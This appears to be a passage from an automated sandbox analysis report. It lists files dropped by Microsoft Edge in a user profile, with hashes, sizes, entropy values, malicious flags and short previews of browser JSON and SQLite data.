SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.766899594099463
Encrypted:	false
SSDEEP:	192:tTVW9uUzGujdfN7DxhTsjj+8e/b2BuEFQXcf0L/ZJVb:VV39uBxVhTsja8G0uEyXI0LhJVb
MD5:	5B9333DA4F9232D7D171A7B2F7480B20
SHA1:	EDE2962B4BEABFE370C0BE002AB1254814A24076
SHA-256:	FDFA4519E378022C756ED577B5028C2382A0BABBBB6B29CEF55EED05945352F0
SHA-512:	617BB95205974F6AFF4205BFD421A49613DE76CA2779D6F5F842AA87DEB7F1D3B7240481EF565D583D30A9774FC93EA1E319D0B8C87F06A4D884A996EED10D6C
Malicious:	true
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF41808.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3783219122966497
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS68r+lGFh5+KUq+Taw1a:ifIEumQv8m1ccnvS6FK+K+Gr
MD5:	034445A875F3F7236D2D298CD4FCD128
SHA1:	1AF45138636789DA1ADFEB7BAF4FF7DEC38F45DF
SHA-256:	495845F90643090BB03574012E15BF559D51CB65F93F93857142A7A4DDA8FF53
SHA-512:	BE4EE1FB799207A4D5BF9FD2ABEF2655F67C6C4C20C9F2B9B6A18792FC8CCC02C5A75F40AAE891E0F33539CBACD79C304376D3DFB678B7EE5A277E9C10A03180
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c526.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d591.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d6d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4b9d6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF4e106.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b386a09b-4dd4-48d5-9b37-1512510d515c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b8bdc396-2dd8-4487-b018-bf944b41fd31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f02ad7e8-f21c-42f0-a70b-357f6b749766.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13302
Entropy (8bit):	5.218686961487103
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypesjdMaFvrE9kNYNN0Z8pbV+F2YQw3QUZPvYJ:stMPGKSu4eshMCDCRbGJQwTC
MD5:	52886743776FDBC64728507A4D07BC7A
SHA1:	E7C915B3BAF896036F05BFA4FDD477E42B981DD0
SHA-256:	36D7861A48DBFA8937370C0F7E69E8037F4521B82530B209FF21AE54AE3A9E6A
SHA-512:	A657CAC2E1444173CFB7C4F58D4166853E4A07DF72703806331623F530CECB306A6DD04CF8FE13943C5EB67601C6A641300AF2650D1266CE3E32179B46AC1C63
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ff60.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13302
Entropy (8bit):	5.218686961487103
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypesjdMaFvrE9kNYNN0Z8pbV+F2YQw3QUZPvYJ:stMPGKSu4eshMCDCRbGJQwTC
MD5:	52886743776FDBC64728507A4D07BC7A
SHA1:	E7C915B3BAF896036F05BFA4FDD477E42B981DD0
SHA-256:	36D7861A48DBFA8937370C0F7E69E8037F4521B82530B209FF21AE54AE3A9E6A
SHA-512:	A657CAC2E1444173CFB7C4F58D4166853E4A07DF72703806331623F530CECB306A6DD04CF8FE13943C5EB67601C6A641300AF2650D1266CE3E32179B46AC1C63
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44d03.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13302
Entropy (8bit):	5.218686961487103
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypesjdMaFvrE9kNYNN0Z8pbV+F2YQw3QUZPvYJ:stMPGKSu4eshMCDCRbGJQwTC
MD5:	52886743776FDBC64728507A4D07BC7A
SHA1:	E7C915B3BAF896036F05BFA4FDD477E42B981DD0
SHA-256:	36D7861A48DBFA8937370C0F7E69E8037F4521B82530B209FF21AE54AE3A9E6A
SHA-512:	A657CAC2E1444173CFB7C4F58D4166853E4A07DF72703806331623F530CECB306A6DD04CF8FE13943C5EB67601C6A641300AF2650D1266CE3E32179B46AC1C63
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c233.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13302
Entropy (8bit):	5.218686961487103
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypesjdMaFvrE9kNYNN0Z8pbV+F2YQw3QUZPvYJ:stMPGKSu4eshMCDCRbGJQwTC
MD5:	52886743776FDBC64728507A4D07BC7A
SHA1:	E7C915B3BAF896036F05BFA4FDD477E42B981DD0
SHA-256:	36D7861A48DBFA8937370C0F7E69E8037F4521B82530B209FF21AE54AE3A9E6A
SHA-512:	A657CAC2E1444173CFB7C4F58D4166853E4A07DF72703806331623F530CECB306A6DD04CF8FE13943C5EB67601C6A641300AF2650D1266CE3E32179B46AC1C63
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561211820044419
Encrypted:	false
SSDEEP:	768:kU/cr4WC07pLGLpbZW5wwuf4t68F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc6vQINS3:k8C454cpbZWawufw6u1jaF6vPjO6mkJo
MD5:	D24F1C9DB76A596FCE23CC329E5D9619
SHA1:	3375D36A39FED677C7DF3E5E0751A45B9FAEB3B3
SHA-256:	3E05B6A57D43A28FB2AD04CF62320E063F4B09C7C9BE0DAFF3BFF4823C74D96E
SHA-512:	BE7903CE0987434BC52989885295E5174EA920642CFE6A7A8085ED8574DD4E099EADBC16F477DB005DD97D0D63CFD1750BECBF3300B0436DB1529B917B89E61D
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376448094197065","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376448094197065","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF422a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561211820044419
Encrypted:	false
SSDEEP:	768:kU/cr4WC07pLGLpbZW5wwuf4t68F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc6vQINS3:k8C454cpbZWawufw6u1jaF6vPjO6mkJo
MD5:	D24F1C9DB76A596FCE23CC329E5D9619
SHA1:	3375D36A39FED677C7DF3E5E0751A45B9FAEB3B3
SHA-256:	3E05B6A57D43A28FB2AD04CF62320E063F4B09C7C9BE0DAFF3BFF4823C74D96E
SHA-512:	BE7903CE0987434BC52989885295E5174EA920642CFE6A7A8085ED8574DD4E099EADBC16F477DB005DD97D0D63CFD1750BECBF3300B0436DB1529B917B89E61D
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376448094197065","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376448094197065","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.849389337935203
Encrypted:	false
SSDEEP:	48:F2emNtrdDCfBJXrd6X8fn5rdDdBGrd6BY:F1mNtxDC7x6Xcn5xDexL
MD5:	0D510E4C6C25BD59D547E1E44FFEB85A
SHA1:	BA74C4BB3506CBC6FEA21EECE140119AE449DA07
